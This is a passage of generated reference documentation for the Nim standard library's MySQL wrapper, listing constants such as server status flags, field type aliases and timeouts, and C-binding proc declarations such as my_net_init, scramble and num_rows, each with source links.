[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L130) ``` SERVER_QUERY_NO_INDEX_USED = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L131) ``` SERVER_STATUS_CURSOR_EXISTS = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L134) ``` SERVER_STATUS_LAST_ROW_SENT = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L136) ``` SERVER_STATUS_DB_DROPPED = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L137) ``` SERVER_STATUS_NO_BACKSLASH_ESCAPES = 512 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L138) ``` ERRMSG_SIZE = 200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L139) ``` NET_READ_TIMEOUT = 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L140) ``` NET_WRITE_TIMEOUT = 60 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L141) ``` NET_WAIT_TIMEOUT = 28800 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L142) ``` ONLY_KILL_QUERY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L143) ``` MAX_TINYINT_WIDTH = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L146) ``` MAX_SMALLINT_WIDTH = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L147) ``` MAX_MEDIUMINT_WIDTH = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L148) ``` MAX_INT_WIDTH = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L149) ``` MAX_BIGINT_WIDTH = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L150) ``` MAX_CHAR_WIDTH = 255 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L151) ``` MAX_BLOB_WIDTH = 8192 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L152) ``` packet_error = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L201) ``` CLIENT_MULTI_QUERIES = 65536 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L215) ``` FIELD_TYPE_DECIMAL = TYPE_DECIMAL ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L216) ``` FIELD_TYPE_NEWDECIMAL = TYPE_NEWDECIMAL ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L217) ``` FIELD_TYPE_TINY = TYPE_TINY ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L218) ``` FIELD_TYPE_SHORT = TYPE_SHORT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L219) ``` FIELD_TYPE_LONG = TYPE_LONG ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L220) ``` FIELD_TYPE_FLOAT = TYPE_FLOAT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L221) ``` FIELD_TYPE_DOUBLE = TYPE_DOUBLE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L222) ``` FIELD_TYPE_NULL = TYPE_NULL ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L223) ``` FIELD_TYPE_TIMESTAMP = TYPE_TIMESTAMP ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L224) ``` FIELD_TYPE_LONGLONG = TYPE_LONGLONG ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L225) ``` FIELD_TYPE_INT24 = TYPE_INT24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L226) ``` FIELD_TYPE_DATE = TYPE_DATE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L227) ``` FIELD_TYPE_TIME = TYPE_TIME ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L228) ``` FIELD_TYPE_DATETIME = TYPE_DATETIME ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L229) ``` FIELD_TYPE_YEAR = TYPE_YEAR ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L230) ``` FIELD_TYPE_NEWDATE = TYPE_NEWDATE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L231) ``` FIELD_TYPE_ENUM = TYPE_ENUM ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L232) ``` FIELD_TYPE_SET = TYPE_SET ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L233) ``` FIELD_TYPE_TINY_BLOB = TYPE_TINY_BLOB ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L234) ``` FIELD_TYPE_MEDIUM_BLOB = TYPE_MEDIUM_BLOB ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L235) ``` FIELD_TYPE_LONG_BLOB = TYPE_LONG_BLOB ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L236) ``` FIELD_TYPE_BLOB = TYPE_BLOB ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L237) ``` FIELD_TYPE_VAR_STRING = TYPE_VAR_STRING ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L238) ``` FIELD_TYPE_STRING = TYPE_STRING ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L239) ``` FIELD_TYPE_CHAR = TYPE_TINY ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L240) ``` FIELD_TYPE_INTERVAL = TYPE_ENUM ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L241) ``` FIELD_TYPE_GEOMETRY = TYPE_GEOMETRY ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L242) ``` FIELD_TYPE_BIT = TYPE_BIT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L243) ``` SHUTDOWN_KILLABLE_CONNECT = '\x01' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L245) ``` SHUTDOWN_KILLABLE_TRANS = '\x02' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L246) ``` SHUTDOWN_KILLABLE_LOCK_TABLE = '\x04' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L247) ``` SHUTDOWN_KILLABLE_UPDATE = '\b' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L248) ``` NET_HEADER_SIZE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L329) ``` COMP_HEADER_SIZE = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L330) ``` NULL_LENGTH: int = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L382) ``` STMT_HEADER = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L385) ``` LONG_DATA_HEADER = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L386) ``` CLIENT_NET_READ_TIMEOUT = 31536000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L396) ``` CLIENT_NET_WRITE_TIMEOUT = 31536000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L397) ``` COUNT_ERROR = -1'i64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L444) ``` ALLOC_MAX_BLOCK_TO_DROP = 4096 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L461) ``` ALLOC_MAX_BLOCK_USAGE_BEFORE_DROP = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L462) ``` MAX_MYSQL_MANAGER_ERR = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L512) ``` MAX_MYSQL_MANAGER_MSG = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L513) ``` MANAGER_OK = 200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L514) ``` MANAGER_INFO = 250 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L515) ``` MANAGER_ACCESS = 401 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L516) ``` MANAGER_CLIENT_ERR = 450 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L517) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L517) ``` MANAGER_INTERNAL_ERR = 500 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L518) ``` LOCAL_INFILE_ERROR_LEN = 512 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L907) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L907) ``` NO_DATA = 100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1076) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1076) ``` DATA_TRUNCATED = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1077) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1077) Procs ----- ``` proc my_net_init(net: PNET; vio: PVIO): my_bool {...}{.cdecl, dynlib: lib, importc: "my_net_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L265) ``` proc my_net_local_init(net: PNET) {...}{.cdecl, dynlib: lib, importc: "my_net_local_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L267) ``` proc net_end(net: PNET) {...}{.cdecl, dynlib: lib, importc: "net_end".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L269) ``` proc net_clear(net: PNET) {...}{.cdecl, dynlib: lib, importc: "net_clear".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L270) ``` proc net_realloc(net: PNET; len: int): my_bool {...}{.cdecl, dynlib: lib, importc: "net_realloc".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L271) ``` proc net_flush(net: PNET): my_bool {...}{.cdecl, dynlib: lib, importc: "net_flush".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L273) ``` proc my_net_write(net: PNET; packet: cstring; length: int): my_bool {...}{.cdecl, dynlib: lib, importc: "my_net_write".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L274) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L274) ``` proc net_write_command(net: PNET; command: char; header: cstring; head_len: int; packet: cstring; length: int): my_bool {...}{.cdecl, dynlib: lib, importc: "net_write_command".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L276) ``` proc net_real_write(net: PNET; packet: cstring; length: int): cint {...}{.cdecl, dynlib: lib, importc: "net_real_write".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L279) ``` proc my_net_read(net: PNET): int {...}{.cdecl, dynlib: lib, importc: "my_net_read".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L281) ``` proc my_connect(s: my_socket; name: Psockaddr; namelen: cuint; timeout: cuint): cint {...}{. cdecl, dynlib: lib, importc: "my_connect".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L289) ``` proc randominit(para1: Prand_struct; seed1: int; seed2: int) {...}{.cdecl, dynlib: lib, importc: "randominit".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L335) ``` proc my_rnd(para1: Prand_struct): cdouble {...}{.cdecl, dynlib: lib, importc: "my_rnd".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L337) ``` proc create_random_string(fto: cstring; len: cuint; rand_st: Prand_struct) {...}{. cdecl, dynlib: lib, importc: "create_random_string".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L339) ``` proc hash_password(fto: int; password: cstring; password_len: cuint) {...}{.cdecl, dynlib: lib, importc: "hash_password".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L341) ``` proc make_scrambled_password_323(fto: cstring; password: cstring) {...}{.cdecl, dynlib: lib, importc: "make_scrambled_password_323".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L343) ``` proc scramble_323(fto: cstring; message: cstring; password: cstring) {...}{.cdecl, dynlib: lib, importc: "scramble_323".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L345) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L345) ``` proc check_scramble_323(para1: cstring; message: cstring; salt: int): my_bool {...}{. cdecl, dynlib: lib, importc: "check_scramble_323".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L347) ``` proc get_salt_from_password_323(res: ptr int; password: cstring) {...}{.cdecl, dynlib: lib, importc: "get_salt_from_password_323".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L349) ``` proc make_password_from_salt_323(fto: cstring; salt: ptr int) {...}{.cdecl, dynlib: lib, importc: "make_password_from_salt_323".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L351) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L351) ``` proc octet2hex(fto: cstring; str: cstring; length: cuint): cstring {...}{.cdecl, dynlib: lib, importc: "octet2hex".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L353) ``` proc make_scrambled_password(fto: cstring; password: cstring) {...}{.cdecl, dynlib: lib, importc: "make_scrambled_password".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L355) ``` proc scramble(fto: cstring; message: cstring; password: cstring) {...}{.cdecl, dynlib: lib, importc: "scramble".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L357) ``` proc check_scramble(reply: cstring; message: cstring; hash_stage2: pointer): my_bool {...}{. cdecl, dynlib: lib, importc: "check_scramble".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L359) ``` proc get_salt_from_password(res: pointer; password: cstring) {...}{.cdecl, dynlib: lib, importc: "get_salt_from_password".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L361) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L361) ``` proc make_password_from_salt(fto: cstring; hash_stage2: pointer) {...}{.cdecl, dynlib: lib, importc: "make_password_from_salt".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L363) ``` proc get_tty_password(opt_message: cstring): cstring {...}{.cdecl, dynlib: lib, importc: "get_tty_password".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L366) ``` proc errno_to_sqlstate(errno: cuint): cstring {...}{.cdecl, dynlib: lib, importc: "mysql_errno_to_sqlstate".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L368) ``` proc modify_defaults_file(file_location: cstring; option: cstring; option_value: cstring; section_name: cstring; remove_option: cint): cint {...}{.cdecl, dynlib: lib, importc: "load_defaults".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L371) ``` proc load_defaults(conf_file: cstring; groups: cstringArray; argc: ptr cint; argv: ptr cstringArray): cint {...}{.cdecl, dynlib: lib, importc: "load_defaults".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L375) ``` proc my_init(): my_bool {...}{.cdecl, dynlib: lib, importc: "my_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L378) ``` proc my_thread_init(): my_bool {...}{.cdecl, dynlib: lib, importc: "my_thread_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L379) ``` proc my_thread_end() {...}{.cdecl, dynlib: lib, importc: "my_thread_end".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L380) ``` proc server_init(argc: cint; argv: cstringArray; groups: cstringArray): cint {...}{. cdecl, dynlib: lib, importc: "mysql_server_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L820) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L820) ``` proc server_end() {...}{.cdecl, dynlib: lib, importc: "mysql_server_end".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L822) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L822) ``` proc library_init(argc: cint; argv: cstringArray; groups: cstringArray): cint {...}{. cdecl, dynlib: lib, importc: "mysql_server_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L830) ``` proc library_end() {...}{.cdecl, dynlib: lib, importc: "mysql_server_end".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L832) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L832) ``` proc get_parameters(): PPARAMETERS {...}{.stdcall, dynlib: lib, importc: "mysql_get_parameters".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L833) ``` proc thread_init(): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_thread_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L839) ``` proc thread_end() {...}{.stdcall, dynlib: lib, importc: "mysql_thread_end".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L840) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L840) ``` proc num_rows(res: PRES): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_num_rows".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L843) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L843) ``` proc num_fields(res: PRES): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_num_fields".} ``` 